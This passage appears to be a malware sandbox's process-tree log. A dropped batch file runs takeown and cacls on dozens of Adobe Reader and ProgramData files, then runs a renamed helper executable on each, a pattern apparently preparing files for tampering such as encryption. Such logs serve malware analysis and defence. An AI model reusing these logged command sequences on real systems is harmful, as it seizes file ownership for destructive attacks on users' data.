C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵PID:1560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "eng.hyp" -nobanner3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "eng.hyp" -nobanner4⤵PID:268
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:608
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵PID:556
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C3⤵PID:860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"3⤵PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "zdingbat.txt" -nobanner3⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "zdingbat.txt" -nobanner4⤵PID:1708
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵PID:1776
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C3⤵PID:856
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"3⤵PID:1224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "TURKISH.TXT" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "TURKISH.TXT" -nobanner4⤵PID:1936
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif""2⤵PID:1180
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif"3⤵PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "br.gif" -nobanner3⤵PID:760
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "br.gif" -nobanner4⤵PID:608
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif""2⤵PID:2008
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif" /E /G Admin:F /C3⤵PID:2036
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif"3⤵PID:1700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "form_responses.gif" -nobanner3⤵PID:944
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "form_responses.gif" -nobanner4⤵PID:2020
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:556
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif""2⤵PID:1744
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif" /E /G Admin:F /C3⤵PID:1936
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif"3⤵
- Modifies file permissions
PID:1588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "review_email.gif" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "review_email.gif" -nobanner4⤵PID:1652
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif" /E /G Admin:F /C3⤵PID:508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif"3⤵PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "tr.gif" -nobanner3⤵PID:1712
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "tr.gif" -nobanner4⤵PID:1808
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1560
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf""2⤵PID:1708
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf" /E /G Admin:F /C3⤵PID:1248
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf"3⤵PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "AdobePiStd.otf" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "AdobePiStd.otf" -nobanner4⤵PID:1492
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1048
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf""2⤵PID:1636
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:1936
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf"3⤵PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner3⤵PID:1652
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner4⤵PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""2⤵PID:836
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt" /E /G Admin:F /C3⤵PID:1712
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt"3⤵
- Modifies file permissions
PID:1560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner3⤵PID:268
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca""2⤵PID:1392
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca"3⤵PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "can.fca" -nobanner3⤵PID:668
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "can.fca" -nobanner4⤵PID:1576
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1588
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths""2⤵PID:1776
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths" /E /G Admin:F /C3⤵PID:1652
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths"3⤵
- Modifies file permissions
PID:1616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "usa03.ths" -nobanner3⤵PID:856
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "usa03.ths" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1080
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT""2⤵PID:108
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT"3⤵
- Modifies file permissions
PID:268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "GREEK.TXT" -nobanner3⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "GREEK.TXT" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT""2⤵PID:1404
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT" /E /G Admin:F /C3⤵PID:1576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT"3⤵PID:1936
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1253.TXT" -nobanner3⤵PID:1588
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1253.TXT" -nobanner4⤵PID:556
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵PID:2004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵PID:1112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵PID:1912
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "LogTransport2.exe" -nobanner3⤵PID:1080
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "LogTransport2.exe" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1076
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵PID:616
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵PID:760
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:432
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "behavior.xml" -nobanner3⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "behavior.xml" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:944
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵PID:1708
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:556
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:2036
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵PID:1112
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "overlay.png" -nobanner3⤵PID:1652
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "overlay.png" -nobanner4⤵PID:940
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵PID:1180
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵PID:860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:836
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1176
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1588
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat""2⤵PID:2008
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat"3⤵PID:1636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "qmgr0.dat" -nobanner3⤵PID:1492
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "qmgr0.dat" -nobanner4⤵PID:1708
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc" /E /G Admin:F /C3⤵PID:940
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc"3⤵PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "adobepdf.xdc" -nobanner3⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "adobepdf.xdc" -nobanner4⤵PID:508
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1912
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵PID:1020
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:836
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "behavior.xml" -nobanner3⤵PID:1588
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "behavior.xml" -nobanner4⤵PID:2032
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵PID:2036
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵PID:1708
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1080
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "device.png" -nobanner3⤵PID:1640
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "device.png" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1600
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵PID:940
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:2012
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:288
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵PID:556
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:1560
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:860
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1048
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1492
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""2⤵PID:952
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:1404
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1156
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""2⤵PID:1712
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:108
-
-
-
